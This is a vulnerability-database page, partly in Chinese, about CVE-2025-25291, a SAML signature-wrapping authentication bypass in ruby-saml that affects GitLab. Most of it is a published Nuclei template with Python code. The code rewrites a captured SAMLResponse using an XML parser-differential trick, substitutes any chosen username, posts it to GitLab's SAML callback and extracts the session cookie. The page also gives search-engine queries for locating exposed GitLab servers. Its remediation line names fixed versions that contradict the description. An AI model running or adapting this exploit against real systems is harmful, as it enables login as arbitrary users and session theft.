CVE-2025-25291: GitLab - SAML Authentication Bypass

日期: 2025-08-01 | 影响软件: GitLab | POC: 已公开

漏洞描述

ruby-saml provides security assertion markup language (SAML) single sign-on (SSO) for Ruby. An authentication bypass vulnerability was found in ruby-saml prior to versions 1.12.4 and 1.18.0 due to a parser differential. ReXML and Nokogiri parse XML differently; the parsers can generate entirely different document structures from the same XML input. That allows an attacker to be able to execute a Signature Wrapping attack. This issue may lead to authentication bypass. Versions 1.12.4 and 1.18.0 fix the issue.

PoC代码[已公开]

id: CVE-2025-25291

info:
  name: GitLab - SAML Authentication Bypass
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    ruby-saml provides security assertion markup language (SAML) single sign-on (SSO) for Ruby. An authentication bypass vulnerability was found in ruby-saml prior to versions 1.12.4 and 1.18.0 due to a parser differential. ReXML and Nokogiri parse XML differently; the parsers can generate entirely different document structures from the same XML input. That allows an attacker to be able to execute a Signature Wrapping attack. This issue may lead to authentication bypass. Versions 1.12.4 and 1.18.0 fix the issue.
  remediation: |
    This vulnerability is fixed in 1.17.0 and 1.12.3.
  reference:
    - https://portswigger.net/research/saml-roulette-the-hacker-always-wins
    - https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials/
    - https://about.gitlab.com/releases/2025/03/12/patch-release-gitlab-17-9-2-released
    - https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials
    - https://github.com/SAML-Toolkits/ruby-saml/commit/e76c5b36bac40aedbf1ba7ffaaf495be63328cd9
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.3
    cve-id: CVE-2025-25291
    cwe-id: CWE-347
    epss-score: 0.23993
    epss-percentile: 0.95835
  metadata:
    verified: true
    vendor: gitlab
    product: gitlab
    shodan-query:
      - http.title:"gitlab"
      - cpe:"cpe:2.3:a:gitlab:gitlab"
      - http.html:"gitlab enterprise edition"
      - http.html:"gitlab-ci.yml"
    fofa-query:
      - body="gitlab enterprise edition"
      - body="gitlab-ci.yml"
      - title="gitlab"
    google-query: intitle:"gitlab"
  tags: cve,cve2025,saml,auth-bypass,gitlab,code

code:
  - engine:
      - py
      - python3 # requires python to be pre-installed on system running nuclei
    source: |
      import os,re
      import base64
      import urllib.parse
      saml_response = os.getenv('SAMLResponse')
      username = os.getenv('username')
      saml_resp = base64.b64decode(urllib.parse.unquote(saml_response))
      if not username:
          username='admin@example.com'
      prefix = '''<!DOCTYPE foo SYSTEM 'x" [<!ATTLIST Signature xmlns CDATA #FIXED "http://www.w3.org/2000/09/xmldsig#" xmlns CDATA "block">]><!-- '>'''
      pos = saml_resp.find(b'?>') + 2
      saml_resp_mod = saml_resp[pos:]
      saml_resp_mod = prefix + saml_resp_mod[:-17].decode() + "<![CDATA[-->" + saml_resp_mod[:-17].decode() + "<!--]]>--></samlp:Response>"
      saml_resp_mod = re.sub(r'(<saml:NameID[^>]*>)[^<]+(</saml:NameID>)', rf'\1{username}\2', saml_resp_mod, count=1)
      saml_resp_mod = re.sub(r'(<saml:Attribute Name="email"[^>]*>\s*<saml:AttributeValue[^>]*>)[^<]+(</saml:AttributeValue>)', rf'\1{username}\2', saml_resp_mod, count=1)
      print(urllib.parse.quote(base64.b64encode(saml_resp_mod.encode())))

http:
  - raw:
      - |
        POST /users/auth/saml/callback HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        RelayState=undefined&SAMLResponse={{code_response}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header,"known_sign_in")'
          - 'status_code == 302'
        condition: and

    extractors:
      - type: kval
        kval:
          - _gitlab_session
# digest: 4b0a00483046022100cee26791c080ad505692b67cdc6d47884cc1913bae789949a7a676c87ea8e497022100b5c3a9bf284e96ef73f36a5d7c027607d65966916f27f8727e29c1c8882ba331:922c64590222798bb761d5b6d8e72950

相关漏洞推荐